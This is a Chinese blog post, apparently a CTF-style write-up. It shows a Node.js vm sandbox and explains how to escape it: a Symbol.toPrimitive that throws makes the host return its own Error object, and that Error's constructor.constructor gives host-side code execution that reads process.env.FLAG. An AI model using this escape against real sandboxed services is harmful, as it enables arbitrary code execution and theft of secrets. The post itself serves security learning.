记JS的小Trick"

admin 2026-11-09 19:23:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

记JS的小Trick

YMsora
YMsora

YMs0ra的安全漫路

2026年11月5日 20:41
上海

去阅读

以下是一个js vm的沙箱

\"use strict\";

const fs = require(\"node:fs\");
const vm = require(\"node:vm\");

const buffer = fs.readFileSync(0, \"utf8\");
process.env.FLAG = \"flag{dfdfd}\";

function normalizeString(val) {
  if (typeof val !== \"string\") return \"\";
  return val.trim().toLowerCase();
}

function parseHexSequence(seq) {
  const clean = normalizeString(seq);
  if (!/^[0-9a-f]*$/.test(clean)) return null;
  return parseInt(clean, 16);
}

function validateSchema(target) {
  if (!target || typeof target !== \"object\") return true;
  const keys = Object.keys(target);
  for (let i = 0; i < keys.length; i++) {
    const k = keys[i];
    if (k.startsWith(\"__\") || k === \"prototype\" || k === \"constructor\") {
      return false;
    }
  }
  return true;
}

function computeMetrics(data) {
  if (!validateSchema(data)) {
    return -1;
  }
  try {
    return Number(data);
  } catch {
    return new Error(\"Operation failed\");
  }
}

function calculateOffset(val, step) {
  const base = computeMetrics(val);
  if (typeof base !== \"number\" || Number.isNaN(base)) return 0;
  return base + (Number(step) || 0);
}

const sandbox = Object.create(null);
const ctx = vm.createContext(sandbox, {
  name: \"runtime-eval\",
  codeGeneration: {
    strings: false,
    wasm: false
  }
});

function exportSecureInterface(target, apis) {
  for (const [name, fn] of Object.entries(apis)) {
    Object.setPrototypeOf(fn, null);
    Object.freeze(fn);
    target[name] = fn;
  }
}

exportSecureInterface(sandbox, {
  calc: calculateOffset,
  convert: computeMetrics,
  parseHex: parseHexSequence
});

vm.runInContext(`
  (function resetPrototypes() {
    const targets = [Object, Function, Array];
    for (const T of targets) {
      const names = Object.getOwnPropertyNames(T.prototype);
      for (const name of names) {
        if (name !== 'constructor') {
          try { Reflect.deleteProperty(T.prototype, name); } catch (_) {}
        }
      }
    }
  })();
`, ctx);

try {
  const out = vm.runInContext(buffer, ctx, { timeout: 1000 });
  console.log(\"Result:\", out);
} catch {
  console.log(\"Execution Error\");
}

在vm中运行js文件,normalizeString负责的是字符串解析和十六进制转换

并且防护主要在validateSchema函数,如果输入对象,

会返回所有属性的名字 并且检查是否有敏感内容,

Object.keys 返回可枚举的字符串点 在沙箱内部中,再次进行清理

vm.runInContext(`
  (function resetPrototypes() {
    const targets = [Object, Function, Array];
    for (const T of targets) {
      const names = Object.getOwnPropertyNames(T.prototype);
      for (const name of names) {
        if (name !== 'constructor') {
          try { Reflect.deleteProperty(T.prototype, name); } catch (_) {}
        }
      }
    }
  })();
`, ctx);

并且还将内部原型以及禁用函数对象

也就是说我们基本不可能拿到函数对象了,

原型链污染被堵死 但是ES6中引入了symbol,并且注意到

function computeMetrics(data) {
  if (!validateSchema(data)) {
    return -1;
  }
  try {
    return Number(data);
  } catch {
    return new Error(\"Operation failed\");
  }
}

function calculateOffset(val, step) {
  const base = computeMetrics(val);
  if (typeof base !== \"number\" || Number.isNaN(base)) return 0;
  return base + (Number(step) || 0);
}

catch的是宿主的error,也就是说如果在内部throw出error时宿主部会catch, 那样可以顺藤摸瓜拿到宿主的function 看看具体构造 convert: computeMetrics,

const trojan = {
  [Symbol.toPrimitive]() {
    throw 1;
  }
};

这个方法会在number方法时优先触发

const hostError = convert(trojan);

catch了error后是在宿主一侧return new Error(\"Operation failed\"); 拿到原ERROR对象后就方便了,继续两步构造完成

const HostFunction = hostError.constructor.constructor;
HostFunction(\"return process.env.FLAG\")();

后记,ES6中引入了 symbol,允许对象的键名不再是字符串,

而是一种唯一的特殊标记。

规范制定者还定义了一批Well-Known Symbols,

其中一个是Symbol.toPrimitive。 规范明文规定:

只要对象上有 [Symbol.toPrimitive],它的优先级最高,

引擎在做隐式转换时必须优先调用它,

忽略旧时代的 valueOf 和 toString

也是学习过程中涉及到的一些小点,

总觉着想写一些出来吧

    记JS的小Trick" 网络安全文章

    记JS的小Trick"

    本文介绍了JavaScript沙箱环境中的一些安全机制,包括字符串解析和十六进制转换,对象验证,原型链清理以及Symbol的使用。文章还提到了通过构造Error对象和利用Symbol.toPrimitive来绕过沙箱限制的方法。
    Anthropic的ClaudeCode的重要更新" 网络安全文章

    Anthropic的ClaudeCode的重要更新"

    Anthropic为ClaudeCode推出一系列更新,包括界面优化、会话管理改进、自定义选项增加、创意工具集成等,重点更新包括Cowork合并、SessionRail、分区、嵌套会话、固定会话、侧边聊天、产物、斜杠命令改进、Mods等,旨在提高工作效率和用户体验。
    API 和 Agent 到底是什么" 网络安全文章

    API 和 Agent 到底是什么"

    本文通过对比API和Agent的概念,解释了它们在AI应用中的作用,并探讨了如何利用它们让AI自动完成任务。文章还分析了中青校媒关于AI使用情况的调查数据,并介绍了API的基本原理和调用方式,最后讨论了Agent的运作机制和重要性。
    评论:0   参与:  0